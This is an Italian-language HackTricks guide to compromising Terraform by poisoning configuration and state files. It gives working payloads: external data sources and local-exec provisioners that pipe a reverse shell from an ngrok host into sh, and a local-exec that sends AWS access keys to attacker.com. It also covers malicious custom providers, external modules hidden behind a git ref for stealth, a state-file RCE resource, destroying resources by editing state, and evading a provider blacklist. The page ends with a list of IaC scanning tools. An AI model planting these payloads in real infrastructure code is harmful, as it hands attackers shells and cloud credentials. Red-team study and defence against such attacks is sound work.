Sicurezza di Terraform
Reading time: 14 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Informazioni di base
HashiCorp Terraform è uno strumento di infrastruttura come codice che ti consente di definire sia risorse cloud che on-prem in file di configurazione leggibili dall'uomo che puoi versionare, riutilizzare e condividere. Puoi quindi utilizzare un flusso di lavoro coerente per fornire e gestire tutta la tua infrastruttura durante il suo ciclo di vita. Terraform può gestire componenti a basso livello come risorse di calcolo, archiviazione e rete, così come componenti ad alto livello come voci DNS e funzionalità SaaS.
Come funziona Terraform?
Terraform crea e gestisce risorse su piattaforme cloud e altri servizi attraverso le loro interfacce di programmazione delle applicazioni (API). I provider consentono a Terraform di lavorare con praticamente qualsiasi piattaforma o servizio con un'API accessibile.
HashiCorp e la comunità di Terraform hanno già scritto più di 1700 provider per gestire migliaia di diversi tipi di risorse e servizi, e questo numero continua a crescere. Puoi trovare tutti i provider disponibili pubblicamente nel Terraform Registry, inclusi Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e molti altri.
Il flusso di lavoro principale di Terraform consiste in tre fasi:
- Scrivi: Definisci risorse, che possono essere distribuite su più provider e servizi cloud. Ad esempio, potresti creare una configurazione per distribuire un'applicazione su macchine virtuali in una rete Virtual Private Cloud (VPC) con gruppi di sicurezza e un bilanciatore di carico.
- Pianifica: Terraform crea un piano di esecuzione che descrive l'infrastruttura che creerà, aggiornerà o distruggerà in base all'infrastruttura esistente e alla tua configurazione.
- Applica: Su approvazione, Terraform esegue le operazioni proposte nell'ordine corretto, rispettando eventuali dipendenze delle risorse. Ad esempio, se aggiorni le proprietà di un VPC e cambi il numero di macchine virtuali in quel VPC, Terraform ricreerà il VPC prima di scalare le macchine virtuali.
Laboratorio Terraform
Basta installare terraform sul tuo computer.
Qui hai una guida e qui hai il modo migliore per scaricare terraform.
RCE in Terraform: avvelenamento del file di configurazione
Terraform non ha una piattaforma che espone una pagina web o un servizio di rete che possiamo enumerare, quindi, l'unico modo per compromettere terraform è essere in grado di aggiungere/modificare i file di configurazione di terraform o essere in grado di modificare il file di stato di terraform (vedi capitolo qui sotto).
Tuttavia, terraform è un componente molto sensibile da compromettere perché avrà accesso privilegiato a diverse posizioni affinché possa funzionare correttamente.
Il modo principale per un attaccante di compromettere il sistema in cui terraform è in esecuzione è compromettere il repository che memorizza le configurazioni di terraform, perché a un certo punto verranno interpretate.
In realtà, ci sono soluzioni là fuori che eseguono automaticamente terraform plan/apply dopo che è stata creata una PR, come Atlantis:
Se riesci a compromettere un file terraform, ci sono diversi modi in cui puoi eseguire RCE quando qualcuno esegue terraform plan
o terraform apply
.
Terraform plan
Terraform plan è il comando più utilizzato in terraform e gli sviluppatori/soluzioni che utilizzano terraform lo chiamano tutto il tempo, quindi il modo più semplice per ottenere RCE è assicurarsi di avvelenare un file di configurazione terraform che eseguirà comandi arbitrari in un terraform plan
.
Utilizzando un provider esterno
Terraform offre il provider esterno
che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare la sorgente dati esterno
per eseguire codice arbitrario durante un plan
.
Iniettando in un file di configurazione terraform qualcosa di simile al seguente eseguirà una rev shell quando si esegue terraform plan
:
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
Utilizzando un provider personalizzato
Un attaccante potrebbe inviare un custom provider al Terraform Registry e poi aggiungerlo al codice Terraform in un branch di funzionalità (esempio da qui):
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
Il provider viene scaricato nell'init
e eseguirà il codice malevolo quando viene eseguito il plan
.
Puoi trovare un esempio in https://github.com/rung/terraform-provider-cmdexec
Utilizzando un riferimento esterno
Entrambe le opzioni menzionate sono utili ma non molto furtive (la seconda è più furtiva ma più complessa della prima). Puoi eseguire questo attacco anche in un modo più furtivo, seguendo questi suggerimenti:
- Invece di aggiungere direttamente la rev shell nel file terraform, puoi caricare una risorsa esterna che contiene la rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
Puoi trovare il codice rev shell in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules
- Nella risorsa esterna, usa la funzione ref per nascondere il codice rev shell terraform in un branch all'interno del repo, qualcosa come:
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Terraform Apply
Terraform apply verrà eseguito per applicare tutte le modifiche, puoi anche abusarne per ottenere RCE iniettando un file Terraform malevolo con local-exec.
Devi solo assicurarti che qualche payload come i seguenti termini nel file main.tf
:
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
Segui le suggerimenti della tecnica precedente per eseguire questo attacco in modo più furtivo utilizzando riferimenti esterni.
Dump di Segreti
Puoi avere valori segreti utilizzati da terraform dumpati eseguendo terraform apply
aggiungendo al file terraform qualcosa come:
output "dotoken" {
value = nonsensitive(var.do_token)
}
Abusare dei file di stato di Terraform
Nel caso tu abbia accesso in scrittura ai file di stato di terraform ma non possa modificare il codice terraform, questa ricerca offre alcune opzioni interessanti per sfruttare il file. Anche se avessi accesso in scrittura ai file di configurazione, utilizzare il vettore dei file di stato è spesso molto più subdolo, poiché non lasci tracce nella cronologia di git
.
RCE in Terraform: avvelenamento del file di configurazione
È possibile creare un provider personalizzato e semplicemente sostituire uno dei provider nel file di stato di terraform con quello malevolo o aggiungere una risorsa falsa che fa riferimento al provider malevolo.
Il provider statefile-rce si basa sulla ricerca e arma questo principio. Puoi aggiungere una risorsa falsa e dichiarare il comando bash arbitrario che desideri eseguire nell'attributo command
. Quando viene attivato il run di terraform
, questo verrà letto ed eseguito sia nei passaggi terraform plan
che terraform apply
. Nel caso del passaggio terraform apply
, terraform
eliminerà la risorsa falsa dal file di stato dopo aver eseguito il tuo comando, ripulendo dopo se stesso. Maggiori informazioni e una demo completa possono essere trovate nel repository GitHub che ospita il codice sorgente per questo provider.
Per usarlo direttamente, basta includere quanto segue in qualsiasi posizione dell'array resources
e personalizzare gli attributi name
e command
:
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
Poi, non appena terraform
viene eseguito, il tuo codice verrà eseguito.
Eliminazione delle risorse
Ci sono 2 modi per distruggere le risorse:
- Inserire una risorsa con un nome casuale nel file di stato che punta alla risorsa reale da distruggere
Poiché terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà (seguendo l'ID della risorsa reale indicato). Esempio dalla pagina precedente:
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
- Modifica la risorsa da eliminare in un modo che non sia possibile aggiornare (quindi verrà eliminata e ricreata)
Per un'istanza EC2, modificare il tipo dell'istanza è sufficiente per far sì che terraform la elimini e la ricrei.
Sostituisci il provider in blacklist
Nel caso in cui ti trovi in una situazione in cui hashicorp/external
è stato messo in blacklist, puoi re-implementare il provider external
facendo quanto segue. Nota: utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o re-implementazione.
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
Quindi puoi usare external
come al solito.
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
Strumenti di Audit Automatici
Snyk Infrastructure as Code (IaC)
Snyk offre una soluzione completa di scansione per Infrastructure as Code (IaC) che rileva vulnerabilità e misconfigurazioni in Terraform, CloudFormation, Kubernetes e altri formati IaC.
- Caratteristiche:
- Scansione in tempo reale per vulnerabilità di sicurezza e problemi di conformità.
- Integrazione con sistemi di controllo versione (GitHub, GitLab, Bitbucket).
- Pull request per correzioni automatiche.
- Consigli dettagliati per la remediation.
- Registrati: Crea un account su Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
Checkov
Checkov è uno strumento di analisi statica del codice per l'infrastruttura come codice (IaC) e anche uno strumento di analisi della composizione del software (SCA) per immagini e pacchetti open source.
Scansiona l'infrastruttura cloud fornita utilizzando Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates o OpenTofu e rileva configurazioni errate di sicurezza e conformità utilizzando la scansione basata su grafi.
Esegue la scansione dell'analisi della composizione del software (SCA), che è una scansione di pacchetti open source e immagini per Vulnerabilità e Esposizioni Comuni (CVE).
pip install checkov
checkov -d /path/to/folder
terraform-compliance
Dalla docs: terraform-compliance
è un framework di test leggero, focalizzato sulla sicurezza e sulla conformità, contro terraform per abilitare la capacità di test negativi per la tua infrastruttura come codice.
- compliance: Assicurati che il codice implementato segua gli standard di sicurezza, i tuoi standard personalizzati
- behaviour driven development: Abbiamo BDD per quasi tutto, perché non per IaC?
- portable: basta installarlo da
pip
o eseguirlo tramitedocker
. Vedi Installation - pre-deploy: valida il tuo codice prima che venga distribuito
- easy to integrate: può essere eseguito nella tua pipeline (o nei git hooks) per garantire che tutte le distribuzioni siano validate.
- segregation of duty: puoi mantenere i tuoi test in un repository diverso dove un team separato è responsabile.
note
Sfortunatamente, se il codice utilizza alcuni provider a cui non hai accesso, non sarai in grado di eseguire il terraform plan
e utilizzare questo strumento.
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
tfsec
Dalla docs: tfsec utilizza l'analisi statica del tuo codice terraform per individuare potenziali misconfigurazioni.
- ☁️ Controlla le misconfigurazioni su tutti i principali (e alcuni minori) fornitori di cloud
- ⛔ Centinaia di regole integrate
- 🪆 Scansione dei moduli (locali e remoti)
- ➕ Valuta le espressioni HCL così come i valori letterali
- ↪️ Valuta le funzioni Terraform ad es.
concat()
- 🔗 Valuta le relazioni tra le risorse Terraform
- 🧰 Compatibile con il Terraform CDK
- 🙅 Applica (e abbellisce) le politiche Rego definite dall'utente
- 📃 Supporta più formati di output: lovely (predefinito), JSON, SARIF, CSV, CheckStyle, JUnit, testo, Gif.
- 🛠️ Configurabile (tramite flag CLI e/o file di configurazione)
- ⚡ Molto veloce, capace di scansionare rapidamente enormi repository
brew install tfsec
tfsec /path/to/folder
KICKS
Trova vulnerabilità di sicurezza, problemi di conformità e misconfigurazioni dell'infrastruttura precocemente nel ciclo di sviluppo della tua infrastruttura-as-code con KICS di Checkmarx.
KICS sta per Keeping Infrastructure as Code Secure, è open source ed è un must-have per qualsiasi progetto cloud native.
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
Terrascan
Dalla documentazione: Terrascan è un analizzatore di codice statico per Infrastructure as Code. Terrascan ti consente di:
- Scansionare senza problemi l'infrastruttura come codice per configurazioni errate.
- Monitorare l'infrastruttura cloud provisionata per cambiamenti di configurazione che introducono deviazioni di postura e consente di tornare a una postura sicura.
- Rilevare vulnerabilità di sicurezza e violazioni di conformità.
- Mitigare i rischi prima di provisionare l'infrastruttura cloud nativa.
- Offrire flessibilità per eseguire localmente o integrarsi con il tuo CI\CD.
brew install terrascan
Riferimenti
- Atlantis Security
- https://alex.kaskaso.li/post/terraform-plan-rce
- https://developer.hashicorp.com/terraform/intro
- https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
- https://github.com/offensive-actions/terraform-provider-statefile-rce
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.